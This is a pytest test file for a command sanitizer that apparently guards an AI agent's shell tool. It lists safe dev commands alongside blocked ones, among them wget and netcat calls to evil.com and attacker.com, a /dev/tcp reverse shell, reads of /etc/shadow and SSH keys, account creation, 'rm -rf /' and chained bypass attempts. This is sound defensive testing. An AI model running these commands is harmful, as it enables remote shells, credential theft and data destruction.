"""Tests for command_sanitizer — validates that dangerous commands are blocked while normal development commands pass through unmodified.""" import pytest from aden_tools.tools.file_system_toolkits.command_sanitizer import ( CommandBlockedError, validate_command, ) # --------------------------------------------------------------------------- # Safe commands that MUST pass validation # --------------------------------------------------------------------------- class TestSafeCommands: """Common dev commands that should never be blocked.""" @pytest.mark.parametrize( "cmd", [ "echo hello", "echo 'Hello World'", "uv run pytest tests/ -v", "uv pip install requests", "git status", "git diff --cached", "git log -n 5", "git add .", "git commit -m 'fix: typo'", "python script.py", "python -m pytest", "python3 script.py", "python manage.py migrate", "ls -la", "dir /a", "cat README.md", "head -n 20 file.py", "tail -f log.txt", "grep -r 'pattern' src/", "find . -name '*.py'", "ruff check .", "ruff format --check .", "mypy src/", "npm install", "npm run build", "npm test", "node server.js", "make test", "make check", "cargo build", "go build ./...", "dotnet build", "pip install -r requirements.txt", "cd src && ls", "echo hello && echo world", "cat file.py | grep pattern", "pytest tests/ -v --tb=short", "rm temp.txt", "rm -f temp.log", "del temp.txt", "mkdir -p output/logs", "cp file1.py file2.py", "mv old.txt new.txt", "wc -l *.py", "sort output.txt", "diff file1.py file2.py", "tree src/", "curl https://api.example.com/data", "curl -X POST -H 'Content-Type: application/json' https://api.example.com", ], ) def test_safe_command_passes(self, cmd): """Should not raise for common dev commands.""" validate_command(cmd) # should not raise def test_empty_command(self): """Empty and whitespace-only commands should pass.""" validate_command("") validate_command(" ") validate_command(None) # type: ignore[arg-type] — edge case # --------------------------------------------------------------------------- # Dangerous commands that MUST be blocked # --------------------------------------------------------------------------- class TestBlockedExecutables: """Commands using blocked executables should raise CommandBlockedError.""" @pytest.mark.parametrize( "cmd", [ # Network exfiltration "wget http://evil.com/payload", "nc -e /bin/sh attacker.com 4444", "ncat attacker.com 1234", "nmap -sS 192.168.1.0/24", "ssh user@remote", "scp file.txt user@remote:/tmp/", "ftp ftp.example.com", "telnet example.com 80", "rsync -avz . user@remote:/data", # Windows network tools "invoke-webrequest https://evil.com", "iwr https://evil.com", "certutil -urlcache -split -f http://evil.com/payload", # User escalation "useradd hacker", "userdel admin", "adduser hacker", "passwd root", "net user hacker P@ss123 /add", "net localgroup administrators hacker /add", # System destructive "shutdown /s /t 0", "reboot", "halt", "poweroff", "mkfs.ext4 /dev/sda1", "diskpart", # Shell interpreters (direct invocation) "bash -c 'echo hacked'", "sh -c 'rm -rf /'", "powershell -Command Get-Process", "pwsh -c 'ls'", "cmd /c dir", "cmd.exe /c dir", ], ) def test_blocked_executable(self, cmd): """Should raise CommandBlockedError for dangerous executables.""" with pytest.raises(CommandBlockedError): validate_command(cmd) class TestBlockedPatterns: """Commands matching dangerous patterns should be blocked.""" @pytest.mark.parametrize( "cmd", [ # Recursive delete of root / home "rm -rf /", "rm -rf ~", "rm -rf ..", "rm -rf C:\\", "rm -f -r /", # sudo "sudo apt install something", "sudo rm -rf /var/log", # Reverse shell indicators "bash -i >& /dev/tcp/10.0.0.1/4444", # Credential theft "cat ~/.ssh/id_rsa", "cat /etc/shadow", "cat something/credential_key", "type something\\credential_key", # Command substitution with dangerous tools "echo `wget http://evil.com`", # Environment variable exfiltration "echo $API_KEY", "echo ${SECRET_TOKEN}", ], ) def test_blocked_pattern(self, cmd): """Should raise CommandBlockedError for dangerous patterns.""" with pytest.raises(CommandBlockedError): validate_command(cmd) class TestChainedCommands: """Dangerous commands hidden in compound statements should be caught.""" @pytest.mark.parametrize( "cmd", [ "echo hi && wget http://evil.com/payload", "echo hi || ssh attacker@remote", "ls | nc attacker.com 4444", "echo safe; bash -c 'evil stuff'", "git status; shutdown /s /t 0", ], ) def test_chained_dangerous_command(self, cmd): """Dangerous commands chained with safe ones should be blocked.""" with pytest.raises(CommandBlockedError): validate_command(cmd) class TestEdgeCases: """Edge cases and possible bypass attempts.""" def test_env_var_prefix_does_not_bypass(self): """FOO=bar wget ... should still be blocked.""" with pytest.raises(CommandBlockedError): validate_command("FOO=bar wget http://evil.com") @pytest.mark.parametrize( "cmd", [ "/usr/bin/wget https://attacker.com", "C:\\Windows\\System32\\cmd.exe /c dir", ], ) def test_directory_prefix_does_not_bypass(self, cmd): """Absolute executable paths should still match the blocklist.""" with pytest.raises(CommandBlockedError): validate_command(cmd) def test_case_insensitive_blocking(self): """Blocking should be case-insensitive.""" with pytest.raises(CommandBlockedError): validate_command("Wget http://evil.com") def test_exe_suffix_stripped(self): """cmd.exe should be blocked same as cmd.""" with pytest.raises(CommandBlockedError): validate_command("cmd.exe /c dir") def test_safe_rm_without_dangerous_target(self): """rm of a specific file (not root/home) should pass.""" validate_command("rm temp.txt") validate_command("rm -f output.log") def test_python_commands_are_safe(self): """python commands (including -c) are allowed for agent scripting.""" validate_command("python script.py") validate_command("python -m pytest tests/") validate_command("python3 -c 'print(1)'") validate_command("python -c 'import json; print(json.dumps({}))'") validate_command("node -e 'console.log(1)'") def test_error_message_is_descriptive(self): """Blocked commands should include a useful error message.""" with pytest.raises(CommandBlockedError, match="blocked for safety"): validate_command("wget http://evil.com")